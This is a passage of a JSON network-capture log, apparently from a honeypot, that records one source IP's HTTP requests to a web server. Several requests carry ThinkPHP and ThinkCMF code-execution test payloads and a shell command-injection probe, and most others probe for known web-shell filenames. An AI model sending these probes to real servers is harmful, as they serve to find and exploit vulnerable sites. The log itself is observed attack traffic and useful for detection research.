            "http.request.uri": "/App/?content=die(md5(HelloThinkPHP))",
            "http.response_in": "271",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/App/?content=die(md5(HelloThinkPHP))"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3f34da69d4ad432282eb5e38",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 270,
          "timestamp_epoch": "1577255406.952917000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/index.php/module/action/param1/${@die(md5(HelloThinkPHP))}",
            "http.response_in": "274",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/index.php/module/action/param1/${@die(md5(HelloThinkPHP))}"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6e5459f5ed57a95df65123be",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 273,
          "timestamp_epoch": "1577255407.258901000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))}",
            "http.response_in": "278",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))}"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-9250c781ba663b2abcde1d53",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 276,
          "timestamp_epoch": "1577255408.043081000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>",
            "http.response_in": "282",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-8383989fca9cb58c48eada56",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 280,
          "timestamp_epoch": "1577255408.320217000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/",
            "http.response_in": "287",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-98a64deb5bb2c30eea87067e",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 285,
          "timestamp_epoch": "1577255408.608431000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/joomla/",
            "http.response_in": "291",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/joomla/"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ae3a602b026dc86edffdb285",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 290,
          "timestamp_epoch": "1577255408.890352000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/Joomla/",
            "http.response_in": "295",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/Joomla/"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-f22f1d501595797bf1724b58",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 293,
          "timestamp_epoch": "1577255409.675227000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/?a=echo%20-n%20HelloNginx%7Cmd5sum",
            "http.response_in": "299",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/?a=echo%20-n%20HelloNginx%7Cmd5sum"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-21e73234ce72ebc8139797f3",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 297,
          "timestamp_epoch": "1577255411.262666000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/d7.php",
            "http.response_in": "303",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/d7.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-25b0594f6c1d50807a485d06",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 302,
          "timestamp_epoch": "1577255411.546188000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/rxr.php",
            "http.response_in": "306",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/rxr.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d05d6d422b1e30c4beddf909",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 305,
          "timestamp_epoch": "1577255411.823780000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/1x.php",
            "http.response_in": "309",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/1x.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a2b3dc26b18fc3f45d299520",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 308,
          "timestamp_epoch": "1577255412.100932000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/home.php",
            "http.response_in": "313",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/home.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ccbaa7f09e69d8bc5e8a3516",
          "src_port": 61288,
          "tcp_stream": 5,
          "udp_stream": null,
          "frame_number": 311,
          "timestamp_epoch": "1577255416.653296000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/undx.php",
            "http.response_in": "324",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/undx.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-627327eb03b9b8fe0c8b0703",
          "src_port": 50984,
          "tcp_stream": 6,
          "udp_stream": null,
          "frame_number": 322,
          "timestamp_epoch": "1577255433.965520000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/spider.php",
            "http.response_in": "327",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/spider.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c68c7597f180c52f1a0ce6b1",
          "src_port": 50984,
          "tcp_stream": 6,
          "udp_stream": null,
          "frame_number": 326,
          "timestamp_epoch": "1577255434.247442000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/payload.php",
            "http.response_in": "330",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/payload.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d97a311fb3d634fe75c1e078",
          "src_port": 50984,
          "tcp_stream": 6,
          "udp_stream": null,
          "frame_number": 329,
          "timestamp_epoch": "1577255435.263223000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/composers.php",
            "http.response_in": "333",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/composers.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-51be8c393c5f60ed25b07acf",
          "src_port": 50984,
          "tcp_stream": 6,
          "udp_stream": null,
          "frame_number": 332,
          "timestamp_epoch": "1577255435.674209000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/izom.php",
            "http.response_in": "336",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/izom.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b6f2b451962ad91d40532ace",
          "src_port": 50984,
          "tcp_stream": 6,
          "udp_stream": null,
          "frame_number": 335,
          "timestamp_epoch": "1577255437.223878000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/composer.php",
            "http.response_in": "339",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/composer.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-41590d98a7f3e88473652f5d",
          "src_port": 50984,
          "tcp_stream": 6,
          "udp_stream": null,
          "frame_number": 338,
          "timestamp_epoch": "1577255438.247035000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/hue2.php",
            "http.response_in": "342",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/hue2.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-5305ec3afe4c922a3b4f8e67",
          "src_port": 50984,
          "tcp_stream": 6,
          "udp_stream": null,
          "frame_number": 341,
          "timestamp_epoch": "1577255438.526066000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/Drupal.php",
            "http.response_in": "345",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/Drupal.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-f80e034558199fea1b212bc1",
          "src_port": 50984,
          "tcp_stream": 6,
          "udp_stream": null,
          "frame_number": 344,
          "timestamp_epoch": "1577255438.943366000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/lang.php?f=1",
            "http.response_in": "348",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/lang.php?f=1"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1c2e1525e8576fabbe38d129",
          "src_port": 50984,
          "tcp_stream": 6,
          "udp_stream": null,
          "frame_number": 347,
          "timestamp_epoch": "1577255440.560179000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/izom.php",
            "http.response_in": "359",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/izom.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2067a8d64ed2be6bb7a2879f",
          "src_port": 52943,
          "tcp_stream": 7,
          "udp_stream": null,
          "frame_number": 357,
          "timestamp_epoch": "1577255454.393487000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/payload.php",
            "http.response_in": "362",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/payload.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1ae27d0462e352f3d4f67574",
          "src_port": 52943,
          "tcp_stream": 7,
          "udp_stream": null,
          "frame_number": 361,
          "timestamp_epoch": "1577255454.651743000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/new_license.php",
            "http.response_in": "366",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/new_license.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-fc05be448640d3f235a89a24",
          "src_port": 52943,
          "tcp_stream": 7,
          "udp_stream": null,
          "frame_number": 364,
          "timestamp_epoch": "1577255455.638799000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/images/!.php",
            "http.response_in": "374",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/images/!.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ee4bc8d95ec0e6f7a8211c32",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 372,
          "timestamp_epoch": "1577255477.790960000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/images/vuln.php",
            "http.response_in": "377",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/images/vuln.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4ca315308d469a6198941cd9",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 376,
          "timestamp_epoch": "1577255478.909715000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/hd.php",
            "http.response_in": "380",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/hd.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-48b0c0f373e97c4da0657e75",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 379,
          "timestamp_epoch": "1577255479.404783000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/images/up.php",
            "http.response_in": "384",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/images/up.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-fc54e7c082f695e80302daea",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 382,
          "timestamp_epoch": "1577255481.943972000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/images/attari.php",
            "http.response_in": "387",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/images/attari.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-71fe3411e51a847e17a509b4",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 386,
          "timestamp_epoch": "1577255482.273937000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/images/jsspwneed.php",
            "http.response_in": "390",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/images/jsspwneed.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b482b89cd1f74f6966cfa82c",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 389,
          "timestamp_epoch": "1577255482.534726000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/images/stories/cmd.php",
            "http.response_in": "394",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/images/stories/cmd.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3726c573f58eb9e6debe1381",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 392,
          "timestamp_epoch": "1577255483.482394000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/images/stories/filemga.php?ssp=RfVbHu",
            "http.response_in": "397",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/images/stories/filemga.php?ssp=RfVbHu"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-8f438294237bd0be416ed934",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 396,
          "timestamp_epoch": "1577255483.742395000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/up.php",
            "http.response_in": "400",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/up.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-80f20b4a3acc32b61c591e29",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 399,
          "timestamp_epoch": "1577255484.120987000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/laravel.php",
            "http.response_in": "403",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/laravel.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ccc5b0b275998978a9e3eaf9",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 402,
          "timestamp_epoch": "1577255485.214673000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/huoshan.php",
            "http.response_in": "406",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/huoshan.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c1bdcc6f53ae9e77e6838906",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 405,
          "timestamp_epoch": "1577255485.652981000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/yu.php",
            "http.response_in": "410",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/yu.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-90226d099c881ec99fd6dd1e",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 408,
          "timestamp_epoch": "1577255487.003776000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/floaw.php",
            "http.response_in": "413",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/floaw.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-89dceb02acbb5f413b24d4a8",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 412,
          "timestamp_epoch": "1577255487.996051000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/ftmabc.php",
            "http.response_in": "416",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/ftmabc.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-adcae13d390bb8057dad3fb2",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 415,
          "timestamp_epoch": "1577255488.475320000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/doudou.php",
            "http.response_in": "419",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/doudou.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a60d57f6b997c3007b5cae18",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 418,
          "timestamp_epoch": "1577255491.795413000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/mjx.php",
            "http.response_in": "422",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/mjx.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4c7cfeb4033ef5164c34ec6e",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 421,
          "timestamp_epoch": "1577255492.273322000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/xiaoxia.php",
            "http.response_in": "425",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/xiaoxia.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d42022287ab786110c9c23e7",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 424,
          "timestamp_epoch": "1577255493.604627000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/yuyang.php",
            "http.response_in": "429",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/yuyang.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-96b960fcac34e0ba9f36420d",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 427,
          "timestamp_epoch": "1577255494.894686000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/zz.php",
            "http.response_in": "432",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/zz.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-f21ec9f22efddd44159e02f9",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 431,
          "timestamp_epoch": "1577255495.946535000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/coonig.php",
            "http.response_in": "435",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/coonig.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-058f0eef99244a29c429f743",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 434,
          "timestamp_epoch": "1577255496.225090000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/ak.php",
            "http.response_in": "439",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/ak.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a66fd37f1f197a9645acbe7b",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 437,
          "timestamp_epoch": "1577255498.895476000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/baidoubi.php",
            "http.response_in": "442",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/baidoubi.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-613b67773c6d120d747d302f",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 441,
          "timestamp_epoch": "1577255500.840042000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
            "http.request.uri": "/hhhhhh.php",
            "http.response_in": "446",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/hhhhhh.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-708171d0c15509524fc335c4",
          "src_port": 56366,
          "tcp_stream": 8,
          "udp_stream": null,
          "frame_number": 444,
          "timestamp_epoch": "1577255501.859637000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
